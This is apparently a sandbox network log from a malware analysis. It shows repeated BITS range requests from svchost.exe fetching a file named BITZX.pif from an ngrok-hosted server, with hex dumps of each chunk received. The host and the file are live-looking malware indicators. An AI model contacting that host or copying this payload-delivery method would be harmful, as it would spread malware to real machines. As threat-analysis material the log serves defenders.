2025-01-15 14:26:57 UTC	231	IN	Data Raw: 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 61 01 00 02 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 61 01 00 02 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 20 00 00 02 2a 00 00 00 22 00 14 a5 4f 02 00 02 2a 00 00 00 03 30 08 00 04 00 00 00 00 00 Data Ascii: 0.(C(9*"a0.(C(9*"a0.(C(9**" "O*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.11.20	49845	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:00 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=18658-18891 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:00 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 234 Content-Range: bytes 18658-18891/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:00 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:00 UTC	234	IN	Data Raw: 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 2e 01 00 00 9b 02 00 00 c9 03 00 00 3f 00 00 00 00 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 4c 00 00 00 46 01 00 00 92 01 00 00 3f 00 00 00 00 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 16 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 Data Ascii: A.?0ALF?0.(C(9*.(C(9*.(C(9000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.11.20	49846	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:03 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=18892-19602 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:03 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 711 Content-Range: bytes 18892-19602/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:02 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:03 UTC	711	IN	Data Raw: 00 00 00 00 00 00 14 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 8d 00 00 02 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 Data Ascii: .(C(9"0*****************00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.11.20	49847	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:05 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=19603-19781 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:05 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 179 Content-Range: bytes 19603-19781/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:04 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:05 UTC	179	IN	Data Raw: 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 Data Ascii: 00.(C(9*00*0000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.11.20	49848	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:08 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=19782-19965 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:08 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 184 Content-Range: bytes 19782-19965/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:08 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:08 UTC	184	IN	Data Raw: 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 Data Ascii: 0000000000.(C(9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.11.20	49849	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:11 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=19966-20098 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:11 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 133 Content-Range: bytes 19966-20098/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:10 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:11 UTC	133	IN	Data Raw: 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 ee 00 00 01 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 ee 00 00 01 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 ee 00 00 01 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 ee 00 00 01 2a 00 00 Data Ascii: **0"0"0"0"*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.11.20	49850	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:14 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=20099-20817 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:14 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 719 Content-Range: bytes 20099-20817/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:14 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:14 UTC	719	IN	Data Raw: 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 ee 00 00 01 2a 00 00 00 22 00 14 a5 ee 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 ee 00 00 01 2a 00 00 00 22 00 14 a5 ee 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 16 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 Data Ascii: 0*000""""****.(C(9*0000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.11.20	49851	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:17 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=20818-20991 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:17 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 174 Content-Range: bytes 20818-20991/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:16 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:17 UTC	174	IN	Data Raw: 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 Data Ascii: 0*0000*00.(C(9***0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.11.20	49852	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:19 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=20992-21233 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:19 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 242 Content-Range: bytes 20992-21233/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:19 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:19 UTC	242	IN	Data Raw: 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 Data Ascii: 0000000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.11.20	49853	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:22 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=21234-21546 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:22 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 313 Content-Range: bytes 21234-21546/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:21 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:22 UTC	313	IN	Data Raw: 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 Data Ascii: 0000000000**

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.11.20	49854	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:24 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=21547-21709 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:25 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 163 Content-Range: bytes 21547-21709/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:25 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:25 UTC	163	IN	Data Raw: 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 Data Ascii: 000000**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.11.20	49855	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:27 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=21710-21857 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:28 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 148 Content-Range: bytes 21710-21857/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:27 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:28 UTC	148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 Data Ascii: 000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.11.20	49856	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:31 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=21858-22076 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:32 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 219 Content-Range: bytes 21858-22076/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:32 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:32 UTC	219	IN	Data Raw: 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a Data Ascii: 000000000*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.11.20	49857	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:33 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=22077-22244 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:34 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 168 Content-Range: bytes 22077-22244/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:33 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:34 UTC	168	IN	Data Raw: 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 22 00 14 a5 45 02 00 02 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 16 6a 2a 00 00 00 12 00 16 6a 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 Data Ascii: 0***"Ejj*********0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.11.20	49858	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:35 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=22245-22397 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:36 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 153 Content-Range: bytes 22245-22397/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:35 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:36 UTC	153	IN	Data Raw: 00 00 00 00 00 00 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 Data Ascii: 0000*0000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.11.20	49859	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:38 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=22398-22561 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:39 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 164 Content-Range: bytes 22398-22561/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:38 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:39 UTC	164	IN	Data Raw: 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 Data Ascii: 0000000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.11.20	49860	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:41 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=22562-22702 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:42 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 141 Content-Range: bytes 22562-22702/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:41 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:42 UTC	141	IN	Data Raw: 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 Data Ascii: 00000000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.11.20	49861	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:43 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=22703-22727 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
